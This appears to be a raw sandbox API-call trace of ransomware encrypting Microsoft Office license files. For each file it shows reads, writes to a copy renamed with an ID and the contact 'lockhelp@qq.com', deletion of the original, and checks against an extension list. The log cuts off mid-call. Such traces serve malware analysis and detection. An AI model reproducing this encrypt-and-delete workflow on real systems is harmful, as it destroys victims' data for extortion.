lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0312.920] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=11587) returned 1 [0312.920] CloseHandle (hObject=0x50c) returned 1 [0312.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0312.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0312.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0312.921] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.921] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0312.922] GetLastError () returned 0x0 [0312.922] ReadFile (in: hFile=0x50c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x2d43, lpOverlapped=0x0) returned 1 [0313.872] WriteFile (in: hFile=0x564, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0313.873] ReadFile (in: hFile=0x50c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0313.873] WriteFile (in: hFile=0x564, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x110, lpOverlapped=0x0) returned 1 [0313.873] SetEndOfFile (hFile=0x564) returned 1 [0313.874] CloseHandle (hObject=0x564) returned 1 [0313.874] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0313.874] SetEndOfFile (hFile=0x50c) returned 1 [0313.876] CloseHandle (hObject=0x50c) returned 1 [0313.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0313.879] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 1 [0313.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0313.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0313.880] lstrlenW (lpString=".doc") returned 4 [0313.880] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0313.880] lstrlenW (lpString=".docx") returned 5 [0313.880] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0313.880] lstrlenW (lpString=".pdf") returned 4 [0313.880] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0313.880] lstrlenW (lpString=".xls") returned 4 [0313.880] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0313.880] lstrlenW (lpString=".xlsx") returned 5 [0313.880] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0313.880] lstrlenW (lpString=".ppt") returned 4 [0313.880] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0313.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0313.880] lstrlenW (lpString=".zip") returned 4 [0313.880] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0313.880] lstrlenW (lpString=".rar") returned 4 [0313.880] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0313.880] lstrlenW (lpString=".bz2") returned 4 [0313.880] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0313.880] lstrlenW (lpString=".7z") returned 3 [0313.880] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0313.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0313.881] lstrlenW (lpString=".dbf") returned 4 [0313.881] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0313.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0313.881] lstrlenW (lpString=".1cd") returned 4 [0313.881] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0313.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0313.881] lstrlenW (lpString=".jpg") returned 4 [0313.881] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0313.881] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=20778) returned 1 [0313.881] CloseHandle (hObject=0x50c) returned 1 [0313.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 0x220 [0313.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0313.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0313.882] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0313.882] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0313.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0313.882] GetLastError () returned 0x0 [0313.882] ReadFile (in: hFile=0x50c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x512a, lpOverlapped=0x0) returned 1 [0313.918] WriteFile (in: hFile=0x564, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x5130, lpOverlapped=0x0) returned 1 [0313.919] ReadFile (in: hFile=0x50c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0313.919] WriteFile (in: hFile=0x564, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x106, lpOverlapped=0x0) returned 1 [0313.919] SetEndOfFile (hFile=0x564) returned 1 [0313.919] CloseHandle (hObject=0x564) returned 1 [0313.919] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0313.919] SetEndOfFile (hFile=0x50c) returned 1 [0313.921] CloseHandle (hObject=0x50c) returned 1 [0313.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0313.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 1 [0313.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0313.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0313.923] lstrlenW (lpString=".doc") returned 4 [0313.923] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0313.923] lstrlenW (lpString=".docx") returned 5 [0313.923] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0313.923] lstrlenW (lpString=".pdf") returned 4 [0313.923] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0313.923] lstrlenW (lpString=".xls") returned 4 [0313.923] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0313.923] lstrlenW (lpString=".xlsx") returned 5 [0313.923] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0313.923] lstrlenW (lpString=".ppt") returned 4 [0313.923] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0313.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0313.923] lstrlenW (lpString=".zip") returned 4 [0313.923] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0313.923] lstrlenW (lpString=".rar") returned 4 [0313.923] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0313.923] lstrlenW (lpString=".bz2") returned 4 [0313.923] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0313.923] lstrlenW (lpString=".7z") returned 3 [0313.924] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0313.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0313.924] lstrlenW (lpString=".dbf") returned 4 [0313.924] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0313.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0313.924] lstrlenW (lpString=".1cd") returned 4 [0313.924] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0313.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0313.924] lstrlenW (lpString=".jpg") returned 4 [0313.924] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0313.924] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=11579) returned 1 [0313.924] CloseHandle (hObject=0x50c) returned 1 [0313.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 0x220 [0313.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0313.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0313.925] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0313.925] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0313.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0313.925] GetLastError () returned 0x0 [0313.926] ReadFile (in: hFile=0x50c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x2d3b, lpOverlapped=0x0) returned 1 [0314.031] WriteFile (in: hFile=0x564, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0314.032] ReadFile (in: hFile=0x50c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0314.032] WriteFile (in: hFile=0x564, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x10c, lpOverlapped=0x0) returned 1 [0314.032] SetEndOfFile (hFile=0x564) returned 1 [0314.033] CloseHandle (hObject=0x564) returned 1 [0314.035] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.035] SetEndOfFile (hFile=0x50c) returned 1 [0314.037] CloseHandle (hObject=0x50c) returned 1 [0314.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0314.037] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 1 [0314.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0314.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0314.038] lstrlenW (lpString=".doc") returned 4 [0314.038] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0314.038] lstrlenW (lpString=".docx") returned 5 [0314.038] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0314.038] lstrlenW (lpString=".pdf") returned 4 [0314.038] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0314.038] lstrlenW (lpString=".xls") returned 4 [0314.038] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0314.038] lstrlenW (lpString=".xlsx") returned 5 [0314.038] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0314.038] lstrlenW (lpString=".ppt") returned 4 [0314.038] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0314.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0314.038] lstrlenW (lpString=".zip") returned 4 [0314.038] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0314.038] lstrlenW (lpString=".rar") returned 4 [0314.038] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0314.039] lstrlenW (lpString=".bz2") returned 4 [0314.039] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0314.039] lstrlenW (lpString=".7z") returned 3 [0314.039] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0314.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0314.039] lstrlenW (lpString=".dbf") returned 4 [0314.039] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0314.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0314.039] lstrlenW (lpString=".1cd") returned 4 [0314.039] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0314.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78 [0314.039] lstrlenW (lpString=".jpg") returned 4 [0314.039] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0314.040] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=11143) returned 1 [0314.040] CloseHandle (hObject=0x50c) returned 1 [0314.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 0x220 [0314.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0314.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0314.040] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.040] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0314.041] GetLastError () returned 0x0 [0314.041] ReadFile (in: hFile=0x50c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x2b87, lpOverlapped=0x0) returned 1 [0314.216] WriteFile (in: hFile=0x554, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0314.217] ReadFile (in: hFile=0x50c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0314.217] WriteFile (in: hFile=0x554, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x102, lpOverlapped=0x0) returned 1 [0314.217] SetEndOfFile (hFile=0x554) returned 1 [0314.803] CloseHandle (hObject=0x554) returned 1 [0314.806] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.806] SetEndOfFile (hFile=0x50c) returned 1 [0314.808] CloseHandle (hObject=0x50c) returned 1 [0314.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0314.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 1 [0314.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0314.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0314.949] lstrlenW (lpString=".doc") returned 4 [0314.949] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0314.949] lstrlenW (lpString=".docx") returned 5 [0314.949] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0314.949] lstrlenW (lpString=".pdf") returned 4 [0314.949] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0314.949] lstrlenW (lpString=".xls") returned 4 [0314.949] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0314.949] lstrlenW (lpString=".xlsx") returned 5 [0314.949] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0314.949] lstrlenW (lpString=".ppt") returned 4 [0314.949] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0314.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0314.949] lstrlenW (lpString=".zip") returned 4 [0314.949] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0314.949] lstrlenW (lpString=".rar") returned 4 [0314.949] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0314.949] lstrlenW (lpString=".bz2") returned 4 [0314.949] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0314.949] lstrlenW (lpString=".7z") returned 3 [0314.949] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0314.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0314.949] lstrlenW (lpString=".dbf") returned 4 [0314.949] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0314.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0314.949] lstrlenW (lpString=".1cd") returned 4 [0314.949] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0314.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0314.949] lstrlenW (lpString=".jpg") returned 4 [0314.949] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0314.950] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10623) returned 1 [0314.950] CloseHandle (hObject=0x414) returned 1 [0314.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 0x220 [0314.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0314.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0314.950] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.951] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0314.951] GetLastError () returned 0x0 [0314.951] ReadFile (in: hFile=0x414, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x297f, lpOverlapped=0x0) returned 1 [0314.982] WriteFile (in: hFile=0x528, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, 